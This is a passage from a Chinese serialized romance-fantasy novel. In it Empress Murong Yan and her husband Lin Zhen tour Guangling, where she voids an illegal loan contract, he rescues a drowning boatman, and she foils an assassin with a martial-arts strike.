刘管事一愣,觉得这夫人问得忒仔细,但还是抖了抖契约:“他们去年冬借了二十两银子,约定今春归还三十两。如今还不上,这院子便以四十两作价抵给我们老爷了,我们还额外好心,再补他们十两银子安身呢!” 他说得仿佛自己一方做了多大善事。 慕容嫣目光扫过那破旧但地段尚可的小院,广陵城房价她略有了解,这等大小的院子,即便破旧,市价也绝不低于百两。四十两抵债,再补十两,分明是巧取豪夺! 那老翁急忙道:“夫人明鉴!去年冬天我儿病重,急需银钱救命,不得已才向他们借了印子钱,谁知利滚利如此厉害!这院子……这院子是我们祖辈传下来的,至少值一百多两啊!” “胡说八道!”刘管事厉声打断,“欠债还钱,天经地义!白纸黑字,你们想赖账不成?”家丁们又欲上前。 “且慢。”慕容嫣再次开口,声音不大,却成功止住了对方的动作。她看向那刘管事,“这位管事,契约可否借我一观?” 刘管事有些犹豫,但见慕容嫣气度不凡,且周围渐渐有路人围拢过来,不想节外生枝,便不情愿地将契约递了过去。 慕容嫣接过契约,仔细观看。林臻也站在她身侧一同浏览。慕容嫣于律法条文极为熟悉,一眼便看出问题所在。 她抬起眼,目光清冷地看向刘管事:“这契约上,只写了借款二十两,还期至‘今春’,却未写明具体日期。如今方才仲春,花期未过,如何就能断定他们逾期?此其一。” 刘管事脸色微变。 慕容嫣继续道:“其二,这违约金条款写得模糊不清,‘以房产抵押’字样并无具体作价数额,亦无双方认可估价的流程。你这单方面作价四十两,依据何在?可有第三方保人或牙行作证?” “这…这是我们老爷定的价!”刘管事强辩道。 “律法规定,债务抵押物须得双方协商或由官府指定牙行估价,岂能由债主一方说了算?”慕容嫣语气渐严,“其三,也是最重要的一点,我朝律法明文规定,凡民间借贷,月息不得超过三分,年息不得过三十六分。你这借款三月不到,本息竟要三十两,折算月息远超法定,这契约中关于利息的部分,本身就已违法!违法的契约,如何能作数?” 她一番话,条理清晰,法理分明,不仅说得那刘管事哑口无言,满脸惊愕,连周围围观的人群也发出了恍然大悟的赞叹声。 “这位夫人说得在理!” “对啊,印子钱本就是违法的!” “他们这是欺负老实人!” 那老翁一家更是如同抓住了救命稻草,连连向慕容嫣磕头:“夫人英明!夫人救命啊!” 刘管事脸色青白交加,他没想到这看似养尊处优的贵夫人,竟如此精通律法,句句戳中要害。他气急败坏道:“你…你是什么人?在此多管闲事!欠债还钱,走到天边也是这个理!” 林臻上前一步,挡在慕容嫣身前,目光沉静却极具压迫感:“我家夫人只是依据律法,说几句公道话。你若觉得不公,大可去官府理论。正好,我们也想请官府裁定一下,这违法的印子钱契约,以及这强夺民宅的行径,该如何处置。” 听到“官府”二字,刘管事明显心虚了。他家老爷在广陵虽有些势力,但此事若真闹上公堂,对方占着理,又有这么几位气度不凡的人作证,恐怕讨不了好。 他狠狠瞪了慕容嫣和林臻一眼,又看了看周围越来越多的人群,只得咬牙道:“好!好!算你们狠!这债……我们不要了!契约还我!” 说着就想抢回那纸契约。 慕容嫣却将手一缩,淡淡道:“这违法契约,留着也是祸害。” 她竟当着众人的面,轻轻将那纸契约撕成了两半,再撕,直至成为碎片,随手抛于地上。 “你!”刘管事气得浑身发抖,却无可奈何。 “滚吧。”林臻声音不高,却带着不容置疑的命令意味。 刘管事最终只能带着家丁,在众人的哄笑声中,灰溜溜地挤开人群跑了。 那老翁一家简直不敢相信,困扰他们多日、几乎逼得他们家破人亡的灾祸,竟就这样被这位突如其来的贵夫人三言两语化解了!一家人激动得热泪盈眶,跪在地上就要磕头。 慕容嫣示意麝月赶紧扶起他们。 “老人家,快请起。日后若有急用,可去官府设立的惠民贷局申请低息借款,虽手续繁琐些,却稳妥,绝不会受此等盘剥。”慕容嫣温言叮嘱道。 “谢谢夫人!谢谢公子!谢谢姑娘!您真是我们全家的大恩人啊!”老翁一家感激涕零,再三拜谢。 处理完这桩突发事件,慕容嫣的心情却并未轻松多少。她微微叹了口气,对林臻低语:“夫君,可见政令虽下,律法虽明,但在这民间角落,豪强欺压百姓之事仍难禁绝。若非今日恰巧遇上,这户人家恐怕……” 林臻理解她的心情,安慰道:“嫣儿已做得极好。你今日不仅救了一户人家,更在众人面前宣讲了律法,震慑了如那刘管事之流。教化与惩处并重,非一日之功,但总会越来越好。” 慕容嫣点点头,目光重新变得坚定:“回宫后,需令刑部与御史台加强对地方豪强与民间借贷的监察力度,惠民贷局的政策也需让更多百姓知晓。” 经此一事,她游览绣坊的兴致稍减,但依旧去看了看。在著名的“云锦绣坊”中,她仔细观看了绣娘们如何将细如发丝的丝线劈成更细的绒,如何在绷架上绣出栩栩如生的花鸟人物,对于民间匠人的巧手赞叹不已,并私下吩咐麝月记下几种新颖的针法与配色,以备日后宫内制衣参考。 日落时分,三人踏上归途。慕容嫣月白裙裾上那淡金色的凤凰尾羽,在夕阳下流转着柔和的光辉。她今日未以女帝身份示人,却以智慧和律法,行了一次女帝之实。 “夫君,”她轻声说,“这广陵城的繁华之下,亦有暗流。眼见之事,方知治国之不易。” 林臻握住她的手:“但有你在,暗流终将平息,百姓终会见到清明盛世。” 第810章 凤凰裙 时值仲夏,广陵城迎来了它的端午佳节。 空气里弥漫着菖蒲和艾草的清苦香气,混合着家家户户蒸煮粽子的糯香。 运河之上,早已有龙舟竞渡的鼓点隐约传来,整个城市沉浸在一种热闹而古老的节日氛围中。 慕容嫣站在行宫廊下,望着远处运河上如织的彩舟,眼中流露出浓厚的兴趣。 她今日换上了一套应景的裙装。衣裙是清新的艾绿色软烟罗,轻薄透气,在夏日阳光下显得格外清凉。 裙裾和袖口处,用金线、茜素红线巧妙绣出栩栩如生的凤凰穿梭于石榴花与五毒纹样(蟾蜍、蝎子、蛇、蜈蚣、壁虎)之间的图案,既华美别致,又契合了端午驱邪避毒的寓意。 腰间束着一条编织精巧的五彩丝绦,垂下长长的流苏。 她未梳繁复发髻,青丝半绾,斜插一支赤金点翠小凤簪,凤口衔着一颗用丝线缠绕而成的彩色“百索子”绒球,随风轻晃,平添了几分俏皮活泼。 这身打扮,让她看起来更像一位出门踏青游玩的高门贵女,而非威仪的女帝。 “夫君,”她回眸看向走来的林臻,语气轻快,“今日端午,广陵有赛龙舟、抢鸭子的习俗,我们去看热闹,可好?” 她眼中闪烁着期待的光芒,仿佛一个向往外面世界的少女。 林臻今日亦是一身月白长衫,更显俊朗儒雅。他笑着点头:“嫣儿有如此雅兴,自然奉陪。听闻广陵龙舟竞渡,激烈非凡,更有水中抢活鸭的环节,甚是有趣。” 麝月在一旁笑嘻嘻地补充:“夫人,公子,奴婢还打听到,城南有最大的端午市集,除了卖各式粽子、菖蒲酒,还有卖雄黄荷包、五彩丝线、艾虎布偶的,热闹极了!” “那便都去看看!”慕容嫣兴致更高,率先向外走去,艾绿色的裙摆拂过门槛,上面的绣凤与石榴花仿佛活了过来。 三人依旧轻装简从,融入节日里摩肩接踵的人流。 街道两旁家家户户门前都悬挂着菖蒲和艾草,孩子们额头上用雄黄酒画着“王”字,手腕脚踝系着五彩丝线,嬉笑着跑来跑去。 叫卖声、欢笑声、龙舟鼓声交织在一起,充满了鲜活的生命力。 慕容嫣看得目不暇接,时而驻足看看小摊上形态各异的艾虎布偶,时而对包得四角尖尖、裹着不同馅料的粽子表示好奇。 林臻耐心地在一旁为她解说各种民俗的由来,偶尔买上一两件小玩意递到她手中。 麝月则手里很快拿满了各种小吃和玩意儿。 来到运河边,更是人山人海。 宽阔的河面上,十数条龙舟装饰得五彩斑斓,舟首雕刻着不同的龙头,栩栩如生。 桡手们喊着整齐的号子,随着鼓点奋力划桨,龙舟如离弦之箭破开水面,你追我赶,场面壮观激烈。两岸围观百姓呐喊助威,声浪震天。 慕容嫣被这热烈的气氛感染,也不禁微微踮脚,目光追随着一条领先的青色龙舟,唇角含笑。 “看!要放鸭子了!”有人高声喊道。 只见一艘小船驶到河心,船上的汉子将一大笼活鸭倒入河中。顿时,上百只鸭子扑棱着翅膀在水面四散惊逃。 “抢鸭开始咯!” 原本竞速的龙舟立刻改变了策略,桡手们操控着龙舟灵活地追逐着鸭子,船头负责抢鸭的汉子们看准时机,俯身、探手,从水中将惊慌失措的鸭子一把擒获,引得两岸阵阵喝彩和善意的哄笑。 “真是别开生面。”慕容嫣看得有趣,不由轻笑出声。 就在这时,意外发生了。 一条追逐鸭子的红色龙舟为了避开前方的船只,舵柄猛地一打,船身剧烈倾斜摇晃。站在船头正准备抢鸭的一个年轻汉子猝不及防,脚下一下没站稳,“噗通”一声栽入了河中! 他显然水性一般,落水后惊慌失措,加上龙舟搅动的水流,竟连呛了几口水,双手胡乱扑腾着,眼看就要沉下去。 “有人落水了!” “快救人啊!” 岸上顿时响起一片惊呼。但那片水域龙舟穿梭,水流较急,一时间竟无人立刻下水施救。 慕容嫣面色一凝,几乎下意识地就要上前一步。 林臻反应极快,一把轻轻按住她的手臂,低声道:“别急,我去。”话音未落,他已迅速脱下外袍,递给麝月,随即一个箭步冲到岸边,纵身跃入河中! 他动作迅捷如蛟龙,入水无声,迅速朝着那挣扎的落水者游去。 岸上所有人的目光瞬间都被这突然出现的白衣公子吸引。只见他水性极佳,几下便游到落水者身边,避开对方慌乱挥舞的手臂,从背后巧妙地托住其腋下,使其口鼻露出水面,然后沉稳地带着他向最近的岸边游来。 慕容嫣紧握着双手,目光紧紧追随着水中的林臻,直到看着他安全地将人拖上岸,才暗暗松了口气。她快步走上前去。 落水者被救上岸,咳出几口水,面色苍白,惊魂未定。他的同伴和岸上百姓纷纷围了上来。 “多谢公子!多谢公子救命之恩!”龙舟上的桡手们和落水者的家人连连向林臻道谢。 林臻浑身湿透,月白长衫紧贴在身上,勾勒出挺拔的身形,发梢滴着水,却丝毫不显狼狈,反而有种落拓不羁的英气。他摆摆手,语气平静:“举手之劳,人没事就好。” 这时,慕容嫣已走到近前,从麝月手中接过一条干净的汗巾,自然而细致地替林臻擦拭脸上的水珠,完全不顾周围人群的目光。她眼中带着关切与一丝未褪的紧张:“夫君,没事吧?河水凉不凉?” 这亲昵自然的举动和那一声“夫君”,让周围百姓顿时明白了这两人的关系,不禁纷纷投来羡慕和赞叹的目光。 “好一对郎才女貌的恩爱夫妻!” “这位公子真是好水性,好心肠!” “这位夫人也好生关心夫君……” 林臻握住她的手,微微一笑:“无妨,河水正好解暑。嫣儿不必担心。” 那被救的年轻汉子缓过气来,挣扎着起身又要拜谢。慕容嫣温声道:“快别多礼,好生休息。日后水上作业,务必多加小心。” 她言语温和,气质高华,让人心生好感与敬意。有人认出了林臻和慕容嫣正是前几日在市集出现、并帮人主持公道的那对贵人,消息很快传开,百姓们的目光更是充满了好奇与崇拜。 这时,那条红色龙舟的舟长捧着一只硕大的、还在扑腾的肥鸭,满脸惭愧和感激地走过来:“公子,夫人,多谢您救了我们的人!这……这是我们刚才抢到的头鸭,最是肥壮吉利,献给公子夫人,聊表谢意,请务必收下!” 按照习俗,龙舟抢得的鸭子象征着好运和丰收,头鸭更是吉祥无比。 林臻看向慕容嫣,慕容嫣看着那只惊慌的肥鸭,又看看周围百姓热情朴实的脸庞,不由莞尔一笑,对林臻轻轻点头。 林臻这才接过那只鸭子,笑道:“多谢厚意,那我们便沾沾这龙舟竞渡的喜气。” 周围顿时响起一片叫好声和掌声。 慕容嫣示意麝月拿出些银钱,赏给那条龙舟的桡手们,算是补偿他们失了头鸭,并鼓励他们再接再厉。此举更是赢得了众人的好感。 夫妻二人又停留片刻,关心了一下落水者的状况,确认无碍后,才在百姓们友善的目光中离去。 林臻湿衣不便久留,三人便决定先行返回行宫。慕容嫣走在他身侧,不时侧头看他湿漉漉的样子,想起他方才毫不犹豫跃入水中的矫健身影,心中既后怕,又充满了某种难以言喻的安心与自豪感。 阳光洒在两人身上,她艾绿色裙裳上的凤凰纹样熠熠生辉,他湿透的白衫也渐渐蒸腾起细微的水汽。 “夫君,”她轻声说,语气柔软,“你跳下去的时候,我的心都快跳出来了。” 林臻侧头看她,目光深邃温柔:“吓到你了?但当时情况紧急……” “我知道。”慕容嫣打断他,轻轻摇头,“我知道你会这样做。我的夫君,本就是顶天立地、心怀仁善的英雄。”她说着,主动伸出手,轻轻握住了他微凉的手掌。 林臻反手将她的手紧紧握住,十指相扣。 麝月跟在后面,看着帝后二人相依的背影,手里还抱着那只作为“谢礼”的肥鸭,忍不住偷偷笑了。 这个端午节,真是过得又惊险,又热闹,还挺有趣的。 第811章 被凤裙绊倒了 广陵城之行已近尾声。 此番微服巡访,体察民情,慕容嫣收获颇丰,心中已勾勒出数条革新政令的雏形。 离城前,她决定以最隆重的仪轨,亲自视察广陵城新落成的“育婴堂”与“慈耆院”——这是她登基后下旨令各州府筹办的慈善之所,专司收养弃婴孤童与赡养无依鳏寡。 这一日,天光晴好。 慕容嫣端坐于行宫镜前,宫女们神色肃穆,为她换上那套极致尊荣的帝王朝服。 明黄色的缂丝凤裙,以金线织出九龙四凤纹样,日月星辰、山河社稷的图案分布于裙摆之间,华贵无匹,闪耀着令人不敢直视的璀璨光芒。 与凤裙浑然一体、连接得天衣无缝的,正是那长达两丈(约六点六米)的巨大拖尾。 拖尾以最上等的云锦为底,其上用七彩丝线、金银线并米珠、珊瑚珠、宝石片等,极尽精巧地绣出完整的万里江山图卷,从波涛汹涌的海岸到连绵起伏的山峦,从繁华都城到田野村落,寓意着女帝肩负的整个天下。 凤冠是九龙四凤冠,缀满东珠、宝石,垂下的十二旒白玉珠轻轻摇曳,半掩住她倾城的容颜,更添天威莫测。 当盛装的慕容嫣在林臻的陪伴下,步出行宫时,所有见到的人无不屏息凝神,深深跪伏下去。此时的她,不再是那个穿着绣凤常服、会排队买烧饼的“夫人”,而是真正君临天下、手掌乾坤的大周女帝。 “起驾——” 仪仗煊赫,礼乐齐鸣。 帝后銮驾在侍卫与宫人的簇拥下,缓缓向城南新区的“育婴堂”与“慈耆院”行去。 那两丈长的华丽拖尾,由八名精心挑选的宫女分为两列,以最恭谨的态度双手托捧着,缓缓滑过广陵城清扫净街并铺上红毡的街道,宛如一道流动的、承载着山河社稷的辉煌洪流,蔚为壮观。 道路两旁跪满了百姓,他们敬畏地低着头,却又忍不住偷偷抬眼,瞻仰这或许一生仅能得见一次的天颜与盛仪。 林臻今日亦是一身隆重的国公朝服,玄色为底,绣麒麟斗牛纹样,与慕容嫣的明黄凤袍相得益彰。他骑马随行在凤辇之侧,身姿挺拔,目光始终不离辇驾上的慕容嫣,既是护卫,亦是陪伴。 队伍抵达慈耆院。 院内收养的孤寡老人和街边跪迎的百姓们,何曾见过如此天威,皆激动得热泪盈眶,山呼万岁之声不绝于耳。 慕容嫣在林臻的搀扶下,缓缓步下凤辇。 那沉重的凤冠和衣裙已是不便,而那两丈长的拖尾更是需要她极其小心地控制步伐和转身的角度,八名托尾宫女亦需全神贯注,配合默契,才能让这象征江山社稷的拖尾平稳庄严地随之移动,不致紊乱。 她首先视察了老人们的居所,查看了饮食医药,亲切地询问了几位老人的身体状况和生活所需。 老人们感激涕零,纷纷诉说如今衣食无忧,感念陛下恩德。 随后,她又前往相邻的育婴堂。 堂内收养的弃婴和孤儿们,由乳母和嬷嬷们照顾着。 看到那些稚嫩无辜的小脸,慕容嫣的目光变得格外柔软。 她甚至小心翼翼地弯下腰——这个动作在如此沉重的冠服下显得尤为不易——轻轻摸了摸一个伸出小手咿呀学语的孩子的小脸。 “孩子们可都健康?读书识字可有人教导?”她仔细询问育婴堂的管事。 管事恭敬回答:“回陛下,托陛下洪福,孩子们都康健。已有先生启蒙,女红匠作亦有传授,盼他们日后能有一技之长。” 慕容嫣满意地点点头:“善。幼有所育,老有所养,方为盛世之基。” 她当即宣布赏赐诸多物资银钱给两处机构。 视察完毕,按照仪程,慕容嫣需在慈耆院正堂前,对众人宣讲几句,以示勉励。 正堂前有一片开阔的石板地,跪满了慈耆院的老人、育婴堂的孩童与嬷嬷、以及众多官员和百姓。慕容嫣在林臻的陪同下,步履沉稳地走到临时搭设的凤案之后。 那巨大的拖尾在她身后铺展开来,江山图卷在阳光下熠熠生辉,气势恢宏。 她正准备开口,忽然,一阵急促的惊呼声从育婴堂那边传来! “走水了!厨房走水了!”——却是育婴堂后院的小厨房,因今日准备众多餐食,一时不慎,灶火引燃了柴堆,火苗倏起,浓烟顿时弥漫开来! 虽然火势起初不大,且很快有仆役奋力扑救,但突如其来的惊呼和烟雾,让现场本就紧张肃穆的气氛瞬间大乱! 尤其是那些跪在地上的孩童,受到惊吓,顿时哭喊起来,有的甚至惊慌失措地爬起来乱跑。 官员和百姓们也一阵骚动。 护驾的侍卫们立刻高度紧张,迅速向慕容嫣身边靠拢,形成护卫圈。 然而,场面一时有些混乱,人群涌动。 慕容嫣心头一紧,首先挂念的是孩童的安危,立刻下令:“速去护住孩子!优先疏散孩童!” 但就在她因忧心而下意识想向前迈步,更清晰地指挥时,意外发生了! 她忘了身后那沉重且范围极大的拖尾! 一名原本托捧拖尾的宫女因现场骚动和人群拥挤,脚下被慌乱跑动的孩童绊了一下,惊呼一声,向前扑倒! 这一倒,连锁反应,使得原本平稳托捧的拖尾猛地被向一侧拉扯! 慕容嫣正欲前行,身后骤然传来一股巨大的、突如其来的拉力! “唔!”慕容嫣猝不及防,身体瞬间失去平衡,沉重的凤冠更是加剧了这股势头,她整个人竟被拖尾的重量和拉力带得向后踉跄,眼看就要当众摔倒! 这若是摔倒,不仅女帝威仪尽失,更可能被沉重的凤冠所伤,后果不堪设想! “陛下!” “嫣儿!” 周围一片惊呼! 千钧一发之际,一直紧随她身侧、时刻关注着她的林臻,反应快如闪电! 他猛地跨前一大步,长臂一伸,精准而有力地揽住了慕容嫣的腰肢,将她即将倾倒的身子牢牢稳固在自己怀中! 同时,他脚下步伐巧妙一转,用自己的身体作为支撑,稳住了两人的身形。 整个过程发生在电光火石之间,快得许多人甚至没看清发生了什么。 慕容嫣惊魂未定,靠在林臻坚实温暖的怀抱中,呼吸微促。凤冠的珠旒因这剧烈的晃动而激烈碰撞,发出清脆的急响。 “没事了,嫣儿。”林臻低沉的声音在她耳边响起,带着令人安心的力量。 他一边稳稳地扶住她,一边目光锐利地扫向那名摔倒的宫女和略有紊乱的拖尾。 他没有立刻呵斥,而是沉声道:“稳住!各司其职!” 他的冷静瞬间感染了周围的人。侍卫们立刻控制住场面,疏导人群;内侍官赶紧扶起那名吓傻了的宫女;其余七名托尾宫女也强自镇定,重新调整位置,将那象征江山的沉重拖尾再次平稳托起。 火势很快被扑灭,只是虚惊一场。孩子们也被嬷嬷们安抚下来。 慕容嫣在林臻的扶持下,重新站直身体。 她深吸一口气,压下心中的悸动,玉旒后的面容恢复了平静与威仪,仿佛刚才那惊险的一幕从未发生。 只有林臻能感觉到,她在他掌心轻轻捏了一下,示意自己无恙,以及那无声的感谢。 她再次面向众人,声音清越沉稳,穿透了刚刚平息的骚动:“方才小小意外,不足挂齿。老幼安康,方为社稷之福。今日见此处办得妥当,朕心甚慰。望尔等恪尽职守,使鳏寡孤独皆有所依,则天下归心,盛世可期。” 她的镇定自若和即刻的抚慰,迅速安定了所有人的心。 人们再次跪伏,由衷高呼:“陛下圣明!万岁,万岁,万万岁!” 仪式继续进行,最终圆满结束。 回銮的路上,銮驾内,慕容嫣轻轻抬手,揉了揉后颈,那凤冠实在沉重。 她看向身旁的林臻,低声道:“夫君,方才多谢你了。” 林臻握住她的手,眼中仍有未褪的关切:“你我之间,何须言谢。只是这冠服实在太重,日后若非必要,还是” “我知道。”慕容嫣微微一笑,带着一丝无奈与坚韧,“但这是朕的责任,一如这拖尾上所绣的江山。沉重,却必须肩负。所幸,” 她反手与他十指相扣,目光温柔而依赖, “始终有你在身旁,为我稳住这江山社稷。” 銮驾外,那两丈长的华丽拖尾依旧被稳稳托捧着,在广陵城的青石路上缓缓移动,上面的万里江山图卷,在夕阳下闪烁着永恒而璀璨的光芒。 第812章 望瘗 广陵城外的栖灵山,乃江北名刹栖灵寺所在,亦是历代帝王南巡时祈福祭天之所在。 慕容嫣此番广陵之行,最后一桩大事,便是于栖灵寺举行一场祈求风调雨顺、国泰民安的大型祭典。 祭典之日,天未亮,行宫内已是灯火通明。 慕容嫣再次换上了那身极致隆重的九龙四凤朝服。 明黄的缂丝凤裙在烛火下流光溢彩,金线织就的龙凤山河图案仿佛要腾飞而起。 那与凤裙浑然一体、长达两丈的云锦拖尾,已被宫女们极其小心地展开、托捧。 拖尾上七彩丝线绣制的万里江山图,在晨光熹微中更显磅礴大气,却也沉重无比。 凤冠压顶,十二旒白玉珠垂落,遮蔽了慕容嫣大半视线,也让她必须时刻保持着最端庄挺拔的姿态,不能有丝毫懈怠。 每一次呼吸,都能感受到冠服所带来的无形压力。 林臻亦是一身最高规制的国公祭服,玄色为底,金纹肃穆,更衬得他面容俊朗,气度沉凝。 他仔细检查了慕容嫣的冠服,尤其是那沉重拖尾的固定之处,确认无误后,才低声道:“嫣儿,今日典礼漫长,若觉不适,随时示意于我。” 慕容嫣透过晃动的玉旒,对他微微颔首,目光坚定:“为国祈福,岂敢言累。夫君放心。” 吉时到,钟鼓齐鸣。 帝后仪仗浩浩荡荡,出广陵城,往栖灵山而去。 御道两旁,旌旗招展,禁军肃立,百姓远远跪伏于地,山呼海啸般的“万岁”声不绝于耳。 慕容嫣端坐于凤辇之上,身姿笔直,威仪天成。 那两丈长的华丽拖尾,在凤辇后铺展开来,由十六名宫女分为两列,以最恭谨虔诚的态度双手托捧着,宛如一条流淌的、承载着社稷重量的金色河流,缓缓流向栖灵山。 山路虽经修葺,但仍不免有些许坡度与转折。凤辇行进间,托捧拖尾的宫女们需得格外小心,步伐一致,力道均匀,才能确保那象征江山的沉重绣卷平稳移动,不染尘埃,不起褶皱。 林臻骑马紧随凤辇之侧,他的目光不仅关注着前方道路,更时刻留意着慕容嫣的状态以及那庞大拖尾的稳定。 抵达栖灵寺,仪式正式开始。 梵音袅袅,香烛缭绕。慕容嫣在林臻的陪同下,一步步踏上通往主殿的漫长汉白玉台阶。 每一步都需稳如泰山,那沉重的凤冠与拖尾,使得登阶本身成为一种对意志与体力的考验。 十六名宫女竭尽全力,保持着拖尾的平整与庄严。 祭祀流程繁复而庄重:迎神、奠玉帛、进俎、初献、亚献、终献、饮福受胙、送神、望瘗……每一个环节,慕容嫣都需依礼而动,或跪拜,或上香,或诵读祷文。 那两丈长的拖尾,随着她的动作,被宫女们小心而精准地调整着方位。 当她跪拜时,拖尾需如水银泻地般在身后铺展;当她起身时,又需被平稳提起;当她转身面向不同方位时,宫女们更需默契配合,缓缓移动,让那江山图卷始终以最完美的姿态呈现。 这无疑是对所有参与者耐力与专注力的极大考验。 尤其是慕容嫣,她不仅是所有仪轨的中心,更承受着最直接的物理重量。 汗水渐渐浸湿了内里的衣衫,凤冠下的额头也渗出细密的汗珠,脖颈和肩膀承受着巨大的压力。 但她神色沉静,目光透过玉旒,凝视着祭坛上的烟火,仿佛与神明沟通,将所有疲惫都压抑在那副端庄威仪的躯壳之下。 林臻始终在她身侧稍后的位置,完成着他作为国公与丈夫的礼仪。 他的目光几乎没有离开过她。 他能看到她挺直的背脊细微的颤抖,能看到她隐藏在宽大袖袍下微微攥紧的手指。 他的心,随着她每一次不易察觉的艰难支撑而微微揪紧。 漫长的仪式终于进行到最后一项——“望瘗”,即将祭品埋入土坑,以示回归天地。祭坛设在寺院后方一处高台,需要走过一段略有些狭窄的迴廊。 就在此时,意外发生了。 一名托捧拖尾尾端的年轻宫女,因长时间的精神高度集中和体力消耗,脚下忽地一软,一个踉跄,手中托举的力量骤然失衡! 那拖尾的尾端本就最为沉重,这一下失衡,猛地向下一坠,连带拉扯着前面的宫女们也惊呼着东倒西歪! 原本平稳如镜面的江山绣卷,瞬间起了剧烈的涟漪和褶皱! 正行走于迴廊中的慕容嫣,立刻感受到身后传来一股巨大的、混乱的拉扯力! 她正全神贯注于仪轨,猝不及防之下,身体猛地向后一仰,沉重的凤冠更是带着她向后坠去! “陛下!” 宫女和内侍们惊恐失色! 千钧一发之际,一直如同守护神般紧随其后的林臻,再次展现了惊人的反应与力量。 他猛地跨前一步,并非直接去扶慕容嫣——那样可能会碰落她的凤冠或扯坏她的礼服——而是迅捷无比地伸出手,精准地托住了那即将彻底失控坠地的拖尾尾端! 他手臂肌肉绷紧,以一人之力,硬生生将那沉重无比的拖尾尾端稳稳托住,并迅速将其重量分摊,帮助那些惊慌失措的宫女们重新站稳,找回了平衡。 整个过程快如闪电,几乎没有影响到队伍前进的势头,也最大限度地保全了慕容嫣的仪态和拖尾的完整。 慕容嫣只觉得身后那股可怕的拉扯力骤然消失,她借势迅速调整重心,重新站稳。玉旒剧烈晃动,她的心跳也如擂鼓。她没有回头,但她知道,是他。 只有他,总能如此及时,如此可靠地出现在她最需要的时刻,用最恰当的方式,为她稳住这沉重的江山。 短暂的骚动迅速平息,仪式继续。没有人知道,在那庄严肃穆的祭服之下,大周女帝的心经历了怎样的惊涛骇浪,又是如何被一股温暖而强大的力量瞬间抚平。 “望瘗”礼成,钟声长鸣,祭典终于圆满结束。 当慕容嫣最终转身,接受百官与万民朝拜时,她的目光穿过晃动的玉旒,与身旁的林臻悄然交汇。 那一眼,包含了太多无法言喻的情感:劫后余生的悸动、难以言表的感激、以及最深沉的依赖与信任。 林臻的目光沉静而温柔,微微颔首,仿佛在说:“有我在。” 回銮的路上,慕容嫣疲惫已极,几乎是靠着意志力在支撑。 直至回到行宫寝殿,宫女们为她卸下那沉重如山的凤冠,解开一层层繁复的礼服,她才仿佛重新获得了呼吸的自由。 当最后那件连着两丈拖尾的凤裙被小心褪下时,慕容嫣几乎站立不稳。 林臻挥手让宫人皆退下,上前一步,将她打横抱起,轻轻放于榻上。 他坐在榻边,温热的手掌轻柔地为她按摩着僵硬酸痛的脖颈和肩膀。 慕容嫣闭着眼,感受着那恰到好处的力道缓解着身体的极度疲惫,许久,才轻声开口,声音带着一丝沙哑:“夫君,今日若不是你……” “没有若不是,”林臻打断她,语气不容置疑,“我总会在你身边。” 慕容嫣睁开眼,看着他,眼中水光潋滟:“那拖尾……真的很重很重。每一次穿上它,都仿佛将整个天下的重量都压在了肩上。” “我知道。”林臻的声音低沉而充满疼惜,“我看到了。” 他看到了她的坚持,她的疲惫,她的挣扎,以及她绝不退缩的帝王担当。 “但只要有你帮我托着那一头,”慕容嫣握住他的手,贴在自己微热的脸颊上,喃喃道,“我便觉得,这江山之重,似乎也并非不可承受。” 殿内烛火摇曳,映照着那件被宫人小心翼翼收拢起来的、绣着万里江山的明黄凤裙与拖尾。它静静地躺在那里,依旧华美,依旧沉重,象征着无上的权力与责任。 而榻边,相互依偎的帝后二人,正用彼此的温度,无声地化解着那沉重冠服所带来的所有疲惫与惊险。 世间至重,莫过于江山。 世间至幸,莫过于有人愿与你一同托起这江山。 第813章 慕容嫣大显身手 广陵之行圆满结束,回銮之期已定。 临行前,广陵刺史及一众官员于运河码头设宴,为帝后饯行。 宴席设于一艘极其宏伟华丽的楼船之上,名曰“锦帆舫”。 此船平日仅供皇室贵胄使用,雕梁画栋,极尽奢华。 虽是送别宴,但仪制不可废。 慕容嫣依旧身着那身明黄缂丝凤裙,九龙四凤纹耀目生辉,那两丈长的云锦拖尾,绣着万里江山图,由八名宫女小心翼翼托捧着,铺展在楼船光洁的甲板之上,与运河的粼粼波光交相辉映。 凤冠十二旒轻晃,遮不住她眸中因微醺而泛起的些许慵懒与柔和。连日的劳累在宴席轻松的氛圍中稍稍缓解。 林臻坐于她身侧,国公常服衬得他丰神俊朗。 他并不多言,只偶尔与身旁官员应酬几句,目光却始终不着痕迹地扫过全场,并时刻留意着慕容嫣的状态以及那庞大拖尾的周遭环境。 多年的默契让他深知,这华美沉重的朝服,既是威仪的象征,也是极大的负累与潜在的风险。 酒过三巡,宴至酣处。广陵城最好的乐坊歌姬于船头献艺,丝竹管弦之声悠扬悦耳,舞姬们水袖翩跹,身姿曼妙。 慕容嫣微微侧首,对林臻低语,声音带着一丝酒后的软糯:“夫君,此曲《春江花月夜》,倒是颇合此情此景。” 林臻微笑,正要回应,他眼角的余光猛地捕捉到一丝不寻常的动静! 一名捧着酒壶侍立在官员席末端的低阶仆役,眼中骤然闪过一抹与他身份极不相符的厉色! 他猛地抛掉酒壶,手腕一翻,竟从袖中滑出一柄淬着幽蓝暗光的短刃,身形如鬼魅般暴起,并非冲向慕容嫣,而是直扑那铺展在甲板上的、绣着江山图的巨大拖尾! 其意图昭然若揭:毁损这象征社稷江山的帝服,于万众之前折辱女帝威严! 甚至可能借机引发混乱,行更险恶之事! “护驾!” 侍卫首领的惊呼声几乎与那刺客的动作同时响起! 但事发太过突然,且刺客目标并非人而是物,角度极为刁钻,侍卫们反应再快,拦截也已稍迟一瞬! 所有宾客皆被这突如其来的变故惊得呆若木鸡,歌乐戛然而止。 就在那淬毒短刃即将划破那精美绝伦的江山绣卷的电光石火之间—— 端坐于凤座之上的慕容嫣,动了! 她似乎早有所觉,抑或是绝世高手的本能反应。在那刺客暴起的刹那,她周身那因酒意和沉重冠服而显得柔和慵懒的气息瞬间收敛,取而代之的是一股冰冽锐利的锋芒! 只见她并未起身——那沉重的凤冠和拖尾也不允许她做出大幅度的起身动作——但她搭在扶手上的右手看似随意地轻轻一按。 下一瞬,众人只觉眼前一花! 慕容嫣坐着的身影仿佛微微晃动了一下,又似乎全然未动。但一道凝练至极、无形无质却凌厉无比的指风,已自她指尖激射而出!后发先至,精准无比地击中了那刺客持刀的手腕! “嗤!” 一声轻微的、如同气劲破革的声响。 那刺客惨叫一声,手腕剧痛钻心,仿佛被无形的利剑刺穿,短刃当即脱手飞出,“铛啷”一声落在距离拖尾仅三尺之遥的甲板上!那淬毒的刃尖甚至在甲板上划出一道细微的黑痕。 